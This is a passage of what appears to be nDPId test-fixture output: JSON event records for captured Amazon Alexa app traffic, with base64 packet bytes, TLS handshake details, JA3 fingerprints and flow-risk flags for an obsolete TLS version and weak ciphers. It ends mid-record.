+00424{"flow_id":71,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1038,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":581010,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoUZpAAOcGTmg0XuiGrBAq2AG7sn8uyCMHobvWnVAQf929xgAAAAAAAAAA"} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1039,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":75,"flow_packet_id":1,"flow_first_seen":1490976071583,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45698,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":75,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1039,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":583104,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8H+ZAAEAGJwmsECrYNF7ohrKCAbsHHkWgAAAAAKAC\/\/\/3+QAAAgQFtAQCCAoA9lpGAAAAAAEDAwg="} +00425{"flow_id":72,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1040,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":583543,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAofKBAAOcGI2I0XuiGrBAq2AG7soCzlhrOnkFySFAQf\/eo5QAAAAAAAAAA"} +02401{"flow_id":68,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1041,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":584613,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"ePiC0\/vCAMDKkVoBCABFAAXcUdJAAOcGSHw0XuiGrBAq2AG7sn0V5CkJkSc4xlAQ\/bD+2gAAFwMBETCUPaYr1XSdwYvREdZWLxPgfkqTB5YyHHl4urWj0Rq6dP72wBkS6dZOB4G\/HSIQ3yXJT5gmhr3jlZCwn69dnmZrOuzv\/eXnCrGJWO0\/1WSxZ8T1oZJhYzVA7J9Z7\/Qw2cHw8KVg0nRJ6Gngp1CWzyt4MaFTQLCF+zvrOJ1cXp7WrcV0EhOEEBw6wvONMwFZncppJch3+tb4zuYejt\/oWc7b4T8m5DExUFIyzRR22UqQylnV\/2tEjj6nBKb+wM7YtGby+ddQc4LKI0FuC+7IAhacYv7cm6kUmHByyxuy2JKOVcgXo31U4C27LkWXCiXSfCVhoKyL4aPh0oMGhTPq+yNibKA3A\/NaEuHt2nbinGu5GusHM2a1A+suweAjlTP3\/bWDxLCpFf\/YrueT1JEFBaA8maOJE80F5QXAMiIRFawzvgPOT5CWRfnvw84GNQ9cl9vjImq0yTp7E7NTQykD\/bKlUvM646CDS4sr1y5YMSMAu2u4W4A4NSkDoyhA4m4kLWqGWEbORvylC0p9hjvzq0NBsDyScVfNe\/CIOUF3UDCK+Wbw060B\/fm8ZBCLDfQ3Q3sVnfUL9xpW357WJYIGpdZDtwiMa5uxd3WniFpMBYAb2OQFJ+PhxinKC3G5D+ReqvVUe5mcCbnrYhtXzDeMaEvWROhTsnN1Q7f0JAffpmA0SRSll3cuDZBUHdJ+hPCf8pDMq7jgg5PYmTal3u5GiKwNFA7NwvYTfySVnFxcB8Pn1CCaftHCJAD8E2CC0brZtd2pplAlX0U7GACdeaeXQFHkMiRNEtOl26xV5YRcsAy3d6yHTlS6Eawb1O6lgDUOAYPulafVt3ez+Uhaj7ZRcdDvwjILTXGYAwqargsSBnsUmhJX1+9NgwYBRH8tStEw6FWlDVoNHmu32vzJ\/cnOl9IqK02Trf07QOe4uy5epSC2eEZHWSTGCL86xUtNUUDiUEYK2l\/4v4wvNuivwHi6eb\/OidgZ+mru5o64vLiFQrt3s2cnC\/ZjnZ6VNP9rmPFHlOjMEVKffHukyXgANkTjLp\/ebtL0V+eY9tXgYjqBu5BnYK7AcIMsIy99M+LBTjG1E+c8DZO6VwfgtnUv3nCuTeLrmHlWVsIk6XgUXHAs8Jkt6CATTui0EmtF4n3lUruwMjbpdfD4XXIL24maBPFV\/He1OYby\/bsDxtwBBUOH35sXpQ5dmtWbbaM6lsvBSpxFdkLe53j6FTZIJYmQvdBuisUbtvQWKNou7LVeYiSUPDzDmpfh+M43cGdqlAGBOwS98O7+58eIPir1MwIy\/oLyDavyuuSBVP8VXWGgHjLP40PV9cBA4hTorHkzFj8d1fRsdk1jsgDvmxyFJDjem6SxHou\/NeGxe3rP2CIKa02rtUmiTaQBzA8\/v29LydErECp7+OS3\/6qK5j6itp4Z\/sYx1+SH0f8YrlTlipzDU5descJ9yD3mxMbdzakrdlG3cmeGnndpOLoWjRvgOQcITlazNyn0CIQYudTPU2NFALo3SGZ0VwgbKkNd3EAVN7KvQh2aU0GD9VL6Hqgl7ismtsF1\/5RGna7NdkzmAN48prQyyQ3BABWbARW5w4+g6BSHst4giEjmQubhGEkZSGknwtFmZsPuWmrq7Mi8D62+IhXYcXSkhVrhqdLeHTlDhUGbCwAVRXdlt5Xe1\/2YPk7KK672LzDj4TWvpBrGDVFf8CRHniHwak9ynoLxc5hFEULfhDLF\/3BLl4P1WbJV2kw7E4xGHewszmc5J59QXnxlA\/BTTRj7UNNJ82wtNyFGluKrE9j1q85jCt7c8QVEWxBhI88mMeFalcnrEvtfUc4DLaKXuCq0luMczeiwOxsgVC\/p6A+lwLmtNDN5uk2k\/7f1KCdt8qBzsPq3OgIYArexQkURUQ9TLjS6ltRUBJBhxK390uw+KRxfsWBBm0k7bNUnsiSyhKM="} +00425{"flow_id":74,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1047,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":594500,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAowtRAAOcG3S00XuiGrBAq2AG76TIsDqx0TuXec1AQf\/RLSQAAAAAAAAAA"} +00499{"flow_id":74,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1050,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":596946,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ePiC0\/vCAMDKkVoBCABFAABjwwZAAOcG3MA0XuiGrBAq2AG76TIsDqx0TuXec1AYf\/R1uQAAFAMBAAEBFgMBADDSB0Co2jV9gbAoqs1QNiOjr6RYT6Ak5bH4MLvFE2CF090JxLL8jKaGwwnYeUnOByo="} +02395{"flow_id":72,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1051,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":600191,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcKzdAAEAGFhisECrYNF7ohrKAAbueQXJIs5YazlAQAVesjgAAFwMBACA1ItWOhLbsfIMywResWguv6Fwtz0Hp8xzG+xr\/uHTu1xcDAQXwKayzJaPXCA9rVHei6HHIjKLFFPjTlmK2QYga+up3rKSiQhu+VWY49bOw3S\/VgE4d1kxFLpb1z5eR+AZD75MuuacTPbABIwUqP0tJbyMxPgMOIBYetu+sSEG2m4KJVzBvEfBK4XaFHFbAlqSgc+QFmfYymH7kDc7NdLFnVYNqJgPhKsee36dAZSlq3L6GLiJobYNZ4Lkw6GTpSoDukeS1\/ibUFMfHNVxDvPVTsX+pSPB\/ij1X5xj7et2dQ7Q3fupvLf7k395s\/hwpg77cJAAmh3cYWCQS09d0e2M0i6NsPu518OGzJsqIysVUiupo5zZFDQEL1dwFxpw1r5GszQqiNbCInHP+OLQzk8PHcB4ruVmDutKDLdD3tjPLM2SpMjOvhXQgnJz5b6\/9rKTBUUaQxkhYoMrTtDu9JzIzG4FZs3aWsq4mCgZxbISQrLVjk5+a03MTaRSDjkdC2Mu3TfTybgtbTRXBNagXer1uidHze9SXkNgPB\/bVnhRYC5NEDWsZ\/4DG2zEXsmWN6fWvGI4oeyLOiIo9R3xS5LFRbASkV0a9C\/9C2873EoLz2tEubVWvABpBP04f3pV0FllAa4MbCau34t4nKAr4jGeqSEVhcWHam3p68wcK5iGxbm\/MNE51MDmdtSWCwF1tCcqoGvhpr\/nWznjHdnK9\/TfvebIuqwvPkkOFE\/o9MVTaqORDyoJHDVPRnWd8v5pqbK6OUz19UnmPTRYTfOFUmmFighAm3nes+t196gCbsmDuiXuPo8aDukv1rYWgFMCu5O5QzGV9E1hlyBJhiRaBnj3Y5suu0+PACtGDMqt94DuW\/kotF49zn9uYDcRGgivALv8D8iIyngz1e77k+lQQp5roJZYmU7qdQjg2gTawe+gLYZDy4kFG80hKf6ylL8pfz0DTDTTYiFTZIOytaSNpkFoUaxOh0h8K9Hs8zs87dHQRh0z7PggUFFTwRjuO6GFTb+oY1uT5nVfU8hpwdQY4KRQYwwQa5KBp7Yjxz0gj3K5lOZK5BP+JNeevkMTaTTboH\/ncv+fjCIQ+dpyWQzBBAmJny5wz\/u2sBQ\/YehOi10FAfl7KBA7dOyRgeAlj2lhTKUapMeXGF6FcTKa+QQad3LhDE7EXHnDOyjst7Q4WdigaummWRS5JUfzguqEntw36no6ZrNJDibU3FVvd1E7gY4uQzUvHRWS2d4hO9DqZoTU5\/CW+fKIHd892Hs\/0rbP4hpNZXC\/amq39AL26nM0VFHS2RyI3N5jA8zNYBM9qvgfcA4Iway9lKaF0zyXz8p1yPNbN5rrv88ZIkmrpdpklZMEWpXEhQMMNjKvmQuxoDE++6JYZvOxTAHRbjLsm5sKaASAKBBz1+lRrbHyaP2Nr24QRPpdpSNizC2xrHKEr+FbPPrdQZ6XRqMOOHjBFyRO6fLcFHR7uX3EuMd6ulDWzgqFKoAF87FGs+tBMqygAnb8t61k5HbSh2Nz+5lu7gf16ss\/2o7Y\/fRMlBpOtGd7\/WFsSjdvhrLjQJANrLjSZuI0dpHFJVMwGd5Ye1z5F6dGMn0CkhBtEz8n88Bzc5\/u8N3uXpnMk4tj2JI+sl49xuIcSzUD2+SH1TzbUXgdhvDizm662Aa9Ler7JwQMid8Y5jmAR6gHn2zaiuppMaqAezCWHLwB7oz9rvIuJk6UNbHDQ9SneN1lz80arz5mHo2n7vGE3EQ8QuEO8sl64q7G4EJSxGk5i92SbM4JneMyX6wRpQP5wJ+zmr+5lvVJaJqh2IQenn7O0OXcqNvJKnLBTmoOmfWxQVyWpAsawIhRVuH6Ddt5C60\/PztU8hLV4dHrc3N4Ho09Ot9Nb5lK5l1fkvTilhxlZAaLJMAnAMeopcmIu9XRiPZ3zUzBLpNul7CxS1Yw="} +01951{"flow_id":74,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1053,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":617477,"pkt_caplen":1184,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1184,"pkt_l4_len":1150,"pkt":"AMDKkaPvePiC0\/vCCABFAASShmBAAEAGvDisECrYNF7ohukyAbtO5d5zLA6sr1AYAXlx0wAAFwMBACAqkZI\/kdldnGgGyjGW8sCh041UsevBVVGR4xi7U4kR9BcDAQRA4x8LqoqRCw35d5AVguxCQAkzV6qM2pK0QCEhV8KJ7v6PgEhU78kBR4gleTOiUfVGd8jakJhs52kCyHo5AWwZPTfWoLoff+nA8WHclthqyJ+GOEmgdV+iy4tESAmC6n2NqfHO2XyuzZyZsRqnYMqbsyyKjL9Cbf3rD3lWvH4wEr7c88sE3YpexzwuP\/gkJh9qBxbOe0oTEAXDhSWQNf1DE9LVwDNdY0t2k+p1HyTCA6RXSv4uOATyLEb1JBUy0WygXYXPxFTjRzKguZEc35UyHShMgotqPsu3qcv0CHbjLMPp75yR5MriU7H2IX6TF4RuGX18OE6UtlP4rgAO0S1xoPP+dubnE9A+Tu6uZ59iIagtMZbGeAobGmNgEegaaYrerebA2ASDg814BKEpwcXZbP0BFHq8Y1m8qbe2ZhwWUnK24iJR\/XkCszHFOh3YbT5FaXJvGaLlQAryk9GQ97ctWfzTFICbpvRN9zIeESWQIJ+sCQ23nf9DYpjKsODXoJvYSHvN3afJT9anZsyOCuleM6cINsdPnzHrqNqVPCCqV27mNCXW5swxtceZM1BneZx3VpOCKi8PztJBfJ98OtfU7GBaKo13zu5XZNXo11c6LCFHKu3C1WkKGenFH\/xfg3XIOgwBMRDdjkw5lkXykTaGRJbvsjaJABErk28riTwJxEOBKZhAMPLKE+4UX+ao2C+pNL5mFxDAKGiMX7gi2SwjiaA7Vkc5NAfdLW+\/rSAFFa0bxj80awVDI1zDGmzDNBQQkFTrhhdtVZ1Jomchp4ENI3UdbRDQbj3oewnp9+q\/z2eoDGcF7Ttd2ru5Wa1B3e+ra30loEdKTqN2if+RQ\/5tsK5jPMaENIyFr\/VNpE4PsX08XEX\/9bcTNnzFo4kPL4RvZYb4ZiRcObgeGuB9r+JQDt7MIHaJjF+htr65i\/R\/Br8X297zLwm90Ht5UXDMRTPly21y1BYjHQwYnXWB+4e2PaKFIKT492GPX2R8tNENwecAT1Yii8t781dUmw4mP4dJF7Ik1\/PQYWbx93kVhoS1O2YEeVZ4Zkp3G4p+OKaxb0NWCGLcAQqLGieQf3sdNs59pi+J6SpXBFOUET82IceKTOviu06Md9K8szHqvC7cZ2ViVqn4jmrjJSnKgoq3CXi3LZZFcw3QYn2FsJ2Y+d1MDSElGPhDSTdcHkf8u5+c8q5reAJ4kXtWWlK3729OkNhOvm6x0HesxOeNJevjhobS4J1W\/sXZ4VAHOM66Ro1\/oeVF+OkadVVSNAqbkycIhu6sombHz3QL8tvYKTR5QvFe3feZ0e3jQ6bF+TdCsXnwN7SoZlI0\/ip7s8\/6PyrmVM9JsrhLf6bJ+\/WaB\/X9sroLnXNg17I\/Yg2quwfAKTVeiOOv1pvdrrMjpYeen9WH9rLDEjb6bPfbP\/\/z5Ds+fTkYlrhLBRpnjBdDAvwxkuQzMeU="} +01097{"flow_id":71,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1054,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":631039,"pkt_caplen":555,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":555,"pkt_l4_len":521,"pkt":"ePiC0\/vCAMDKkVoBCABFAAIdVi5AAOcGR980XuiGrBAq2AG7sn8uyCMHobvWnVAY\/a8GkgAAFwMBAfAFTYAP05e769\/U3cF9w+OL49aNhR8xqT\/NJd+MSIiM4QMZlYwbV\/obIv7AW0lwbuxa7ujjlf3EvwMmyFoiKx+2TpJVhO0C0ONhbhDmYbT6f3Yg+lePvR+PWpSFYVXuYcgQ8szI8rmb6yDk9dwlz6UqB2BytKdOhtrHR62Vfn2N0+O1cwK72zOLW7KFYUd0sWt6r8bYtjg+PcIqN9XZY8H3ygu7QjDKcgQlJEjAF\/dn5EOdw9CrKQ4eAx2JWYQRsJInf9bAtahlRFKRR+UUpTUN6uOEXIsu9D4UWpK3E1EVIRS0\/iId84h9eTYlB0e0CU4f+QsokIseJvuMKAzbro5UfNjZV4RPcANBRgilLru6JpNF9HqClQlCVF3MBQ3j4dhvYsazhWqk337rvE5lMfDbLVShlIh5p5FBZ9FPoQ04DxYFNNIBkxuH6o1nloUatrBn6\/m85nimWO3f5VV1c+4mgGkaqCbpOkGpEYy\/icBx6yeW0c\/Y0fb\/c1AGi4VAIYNRMYbxX6LQMtB8htaQq7IkKb65gnJv68Kkcc9oEkKyRQRMTl73OhDLk4trpAHQcaTyKMifsf7COgdIVwEPRRnZKyXrb6twBbqF8h8sm5JtqOzzETzcmgnRf1J+0KDbfi5CcooI6fRPBYEs2L+F9x+I"} +00428{"flow_id":75,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1057,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":640296,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAwgCVAAOcGH9U0XuiGrBAq2AG7soJWhIA2Bx5FoXASH\/6YhgAAAgQFtAEDAwY="} +00415{"flow_id":75,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1058,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":641608,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoH+dAAEAGJxysECrYNF7ohrKCAbsHHkWhVoSAN1AQAVfi9wAA"} +00739{"flow_id":75,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1059,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":642022,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXH+hAAEAGJiysECrYNF7ohrKCAbsHHkWhVoSAN1AYAVf+QQAAFgMBAOoBAADmAwOE8oRDXFsSV3ryNEuSilTOl1C7aDt7WJHDEI4Zx+ik8yCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgiorMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9iooAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACPr6AB0AFwAYSkoAAQA="} +00737{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1059,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":75,"flow_packet_id":4,"flow_first_seen":1490976071583,"flow_last_seen":1490976071642,"flow_tot_l4_data_len":347,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":86,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45698,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00424{"flow_id":74,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1061,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":672894,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAox49AAOcG2HI0XuiGrBAq2AG76TIsDqyvTuXi3VAQf+NGtQAAAAAAAAAA"} +00535{"flow_id":75,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1063,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":700208,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9hPJAAOcGGrs0XuiGrBAq2AG7soJWhIA3Bx5GkFAYf\/jJCAAAFgMBAEoCAABGAwFY3n1H7tprYGnn77iiblUs3pVsX7OsznnNQ5TSj9yK7yCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00852{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1063,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":75,"flow_packet_id":5,"flow_first_seen":1490976071583,"flow_last_seen":1490976071700,"flow_tot_l4_data_len":452,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":90,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45698,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","alpn":"h2,http\/1.1"}} +00490{"flow_id":75,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1064,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":700348,"pkt_caplen":107,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":107,"pkt_l4_len":73,"pkt":"ePiC0\/vCAMDKkVoBCABFAABdhPlAAOcGGtQ0XuiGrBAq2AG7soJWhICMBx5GkFAYf\/hrxAAAFgMBADBggpjqg00ss3rdzoekLdoL0PT1y3WvcQwna1zchUAionSGNDMnhNpfXSpqU9zWdAo="} +00415{"flow_id":75,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1065,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":701627,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoH+lAAEAGJxqsECrYNF7ohrKCAbsHHkaQVoSAjFAQAVfhswAA"} +00415{"flow_id":75,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1066,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":701922,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoH+pAAEAGJxmsECrYNF7ohrKCAbsHHkaQVoSAwVAQAVfhfgAA"} +00500{"flow_id":75,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1067,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":702662,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"AMDKkaPvePiC0\/vCCABFAABjH+tAAEAGJt2sECrYNF7ohrKCAbsHHkaQVoSAwVAYAVc6OwAAFAMBAAEBFgMBADBPkwyv4Mo3z\/GOHs52sMdfOXkmlcWDKkUqbn4ArkpgC\/XjfRPslwZMnl\/Zb3FF4HM="} +00604{"flow_id":75,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1068,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":704684,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"ePiC0\/vCAMDKkVoBCABFAACyhPJAAOcGGoY0XuiGrBAq2AG7soJWhIA3Bx5GkFAYf\/i33AAAFgMBAEoCAABGAwFY3n1H7tprYGnn77iiblUs3pVsX7OsznnNQ5TSj9yK7yCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABARYDAQAwYIKY6oNNLLN63c6HpC3aC9D09ct1r3EMJ2tc3IVAIqJ0hjQzJ4TaX10qalPc1nQK"} +00416{"flow_id":75,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1069,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":705658,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoH+xAAEAGJxesECrYNF7ohrKCAbsHHkbLVoSAwVAQAVfhQwAA"} +00739{"flow_id":73,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1071,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":739996,"pkt_caplen":293,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":293,"pkt_l4_len":259,"pkt":"AMDKkaPvePiC0\/vCCABFAAEXfzpAAEAGxtmsECrYNF7ohrKBAbt+UyUGKYaOGlAYAVdE2wAAFgMBAOoBAADmAwMyYJ1Vgi7pXUY+w9BYO5x0QgA8tcoAaPoo5I8kMHaIXSCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAgOjrMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB9mpoAAP8BAAEAAAAAGAAWAAATcGl0YW5ndWkuYW1hem9uLmNvbQAXAAAAIwAAAA0AFAASBAMIBAQBBQMIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAKAAoACGpqAB0AFwAYWloAAQA="} +00425{"flow_id":75,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1074,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":764043,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoiXJAAOcGFpA0XuiGrBAq2AG7soJWhIDBBx5Gy1AQf\/diowAAAAAAAAAA"} +00535{"flow_id":73,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1076,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976071,"pkt_ts_usec":803717,"pkt_caplen":139,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":139,"pkt_l4_len":105,"pkt":"ePiC0\/vCAMDKkVoBCABFAAB9SlBAAOcGVV00XuiGrBAq2AG7soEpho4aflMl9VAYf\/gclQAAFgMBAEoCAABGAwFY3n1HHbnxbLsDLLoNcR255BOdgpz59QMm4sIttZcWoCCCMRQMGMoVs0icgvrIiO2DryH4GtgAAWm5say3aH682wAvABQDAQABAQ=="} +00853{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1076,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":73,"flow_packet_id":6,"flow_first_seen":1490976071385,"flow_last_seen":1490976071803,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":20,"flow_max_l4_data_len":259,"flow_avg_l4_data_len":118,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"52.94.232.134","src_port":45697,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": 